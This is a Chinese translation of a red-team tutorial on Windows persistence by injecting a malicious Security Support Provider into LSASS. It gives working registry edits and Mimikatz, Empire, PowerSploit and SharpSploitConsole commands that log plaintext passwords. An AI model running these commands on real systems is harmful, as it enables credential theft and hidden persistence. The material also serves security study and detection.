安全支持提供程序(SSP)是Windows API,用于扩展Windows身份验证机制。LSASS进程正在Windows启动期间加载安全支持提供程序DLL。这种行为使红队的攻击者可以删除一个任意的SSP DLL以便与LSASS进程进行交互并记录该进程中存储的所有密码,或者直接用恶意的SSP对该进程进行修补而无需接触磁盘。
该技术可用于收集一个系统或多个系统中的凭据,并将这些凭据与另一个协议(例如RDP,WMI等)结合使用,以免干扰检测,从而在网络中保持持久性。向主机注入恶意安全支持提供程序需要管理员级别的特权,并且可以使用两种方法:

    1.   注册SSP DLL
    2.   加载到内存

Mimikatz,Empire和PowerSploit支持这两种方法,可以在红队操作中使用。

Mimikatz

项目Mimikatz提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32)相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。

C:\Windows\System32\

将文件传输到上述位置后,需要修改注册表项以包括新的安全支持提供程序mimilib。

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

SSP – mimilib注册表

查看“安全软件包”注册表项将验证是否已注入恶意安全支持提供程序。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

注册表–安全软件包

由于注册表已被篡改并且DLL存储在系统中,因此该方法将在重新启动后继续存在。当域用户再次通过系统进行身份验证时,将创建一个名为kiwissp的新文件,该文件将记录帐户的凭据。

C:\Windows\System32\kiwissp.log

Mimikatz – kiwissp

另外,Mimikatz通过向LSASS注入新的安全支持提供程序(SSP)来支持内存技术选项。此技术不需要将mimilib.dll放入磁盘或创建注册表项。但是,缺点是在重新启动过程中不会持续存在。

privilege::debug
misc::memssp

Mimikatz –内存中的SSP

当用户再次通过系统进行身份验证时,将在System32中创建一个日志文件,其中将包含纯文本用户密码。

C:\Windows\System32\mimilsa.log

Mimikatz – mimilsa

Empire

Empire提供了两个模块,可用于枚举现有的SSP并在目标系统上安装恶意的SSP。默认情况下,枚举模块将使用活动代理,并且不需要任何其他配置。

usemodule persistence/misc/get_ssps
execute

Empire – SSP 枚举

同样,直接查询注册表可以获取存在的SSP的值。

shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

注册表SSP的枚举注册表

将恶意安全支持提供程序复制到System32并更新注册表项将结束该技术。

shell copy mimilib.dll C:\Windows\System32\

将mimilib.dll复制到System32

由于Empire包含一个模块,该过程可以自动进行,该模块将自动将DLL文件复制到System32并创建注册表项。唯一的要求是在主机上设置mimilib.dll文件的路径。

usemodule persistence/misc/install_ssp*
set Path C:\Users\Administrator\mimilib.dll
execute


​ Empire SSP安装

Empire还支持可以执行自定义Mimikatz命令的脚本。

usemodule credentials/mimikatz/command
set Command misc::memssp
execute


Mimikatz – SSP命令

Empire还支持在进程的内存中注入恶意SSP。下面的模块将调用Mimikatz脚本并直接执行memssp命令,作为使该技术自动化的另一种方法。

usemodule persistence/misc/memssp*
execute

Empire – memssp

PowerSploit

PowerSploit包含两个可以执行相同任务的脚本。在Mimikatz的PowerShell变体“ Invoke-Mimikatz ”中,执行以下命令将使用内存中技术。

Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "misc::memssp"

PowerSploit – Mimikatz SSP

或者,将恶意的SSP DDL文件传输到目标主机并使用模块Install-SSP将DLL复制到System32,并将自动修改相关的注册表项。

Import-Module .\PowerSploit.psm1
Install-SSP -Path .\mimilib.dll


PowerSploit –安装SSP

SharpSploitConsole

Mimikatz已集成到SharpSploitConsole中,该应用程序旨在与Ryan Cobb发布的SharpSploit进行交互。SharpSploit是一个.NET后期开发库,具有与PowerSploit类似的功能。当前,SharpSploitConsole通过Mimikatz模块支持内存技术。

SharpSploitConsole_x64.exe Interact
Mimi-Command misc::memssp

SharpSploitConsole – memssp

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

原文地址:https://pentestlab.blog/2019/10/21/persistence-security-support-provider/

Window权限维持(七):安全支持提供者的更多相关文章

  1. window权限 及c++实现 【网摘】(转)

    from : http://blog.csdn.net/zipper9527/article/details/6256459 http://www.lihuasoft.net/article/show ...

  2. 解决window.showModalDialog在Firefox无法支持

    在网页程序中,有时我们会希望使用者按下按钮后开启一个保持在原窗口前方的子窗口,而在IE中,我们可以使用showModalDialog来达成,语法如下 : vReturnValue = window.s ...

  3. Window权限维持(十):Netsh Helper DLL

    Netsh是Windows实用程序,管理员可以使用它来执行与系统的网络配置有关的任务,并在基于主机的Windows防火墙上进行修改.可以通过使用DLL文件来扩展Netsh功能.此功能使红队可以使用此工 ...

  4. Window权限维持(三):服务

    如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升.创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术.然而,在红队的行动中,针对那些在威胁 ...

  5. Window权限维持(二):计划任务

    Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本.这种行为可作为一种持久性机制被red team利用.通过计划任务执行持久性不需要 ...

  6. Window权限维持(一):注册表运行键

    在红队行动中在网络中获得最初的立足点是一项耗时的任务.因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信.在Windows登录期间创建将执行任意负载的注册表 ...

  7. 【postman】postman测试API报错如下:TypeError: Failed to execute 'fetch' on 'Window': Invalid value 对中文支持不好

    使用postman测试APi的时候,因为系统需要在header部带上登录用户的信息,所以 如下: 然后测试报错如下:TypeError: Failed to execute 'fetch' on 'W ...

  8. Window权限维持(八):时间服务器

    Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的时间戳.时间提供者以DLL文件的形式实现,该文件位于System32文件夹中.Windows启动期间将启动 ...

  9. Window权限维持(六):BITS Jobs

    Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务.这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力. ...

随机推荐

  1. spring web mvc环境搭建

    这两天在学习spring,哎,没办法呀,成都基本都是java,不喜欢学这个也没有用.多学点多条路.还得生活不是. 好了,言归正传,我这里记录下我搭建spring mvc的过程,其实过程不算太难,主要是 ...

  2. 敏捷软件开发_实例2<四>

    敏捷软件开发_实例2 上一章中对薪水支付案例的用例和类做了详细的阐述,在本篇会介绍薪水支付案例包的划分和数据库,UI的设计. 包的划分 一个错误包的划分 为什么这个包是错误的: 如果对classifi ...

  3. crm-3权限

    1.权限基本实现 rbac: rbac基于角色的权限控制 ,权限本质就是url 权限表: url列表 角色表: 一个角色固定访问一些url的地址 用户表: 用户可以绑定角色 ,用户拥有了角色的权限 生 ...

  4. crm-全总结

    1.什么是crm 客户关系管理系统 ,以客户数据为中心建立一个信息收集.管理.分析和利用的信息系统 2.业务逻辑相关使用crm-app完成 1)路由项目分发到crm-app (别名 传参 命名空间) ...

  5. 图片在DIV里边水平垂直居中

    图片在一个DIV中要垂直水平居中,首先定义一个DIV .wrap{ width: 600px; height: 400px; border: 1px #000 solid; } 插入图片 <di ...

  6. IOS疯狂基础之屏幕旋转控制,获得当前方向(转)

    转自:http://blog.csdn.net/wudizhukk/article/details/8674393 获得当前屏幕方向 self.interfaceOrientation或[[UIApp ...

  7. fiddler---Fiddler实现手机抓包

    测试app的时候发现一些问题,我们也可以通过Fiddler进行对手机app进行抓包. 手机抓包 环境准备 1.手机一台 2.电脑上必须安装Fiddler 3.Fiddler和手机保持在同一个局域网内 ...

  8. 远程控制服务(SSH)之Windows远程登陆Linux主机

    本篇blog同样介绍两种方式进行. 首先进行准备工作: 1.所用到的工具如下: (1)     装有Linux系统的VMware虚拟机*1 (2)     终端连接工具Xshell 6 2.将Wind ...

  9. ambassador对websocket的支持示例

    今天进展神速,ambassador对websocket的支持也调通啦.. 一,关键yaml文件 --- apiVersion: v1 kind: Service metadata: labels: n ...

  10. Node.js—简介

    一.Node.js是什么 1. 基本概述 Node.js是一个可以让JavaScript运行在服务器端的平台.它是一个为实时Web应用开发而诞生的平台,它从诞生之初就充分考虑了在实时响应.超大规模数据 ...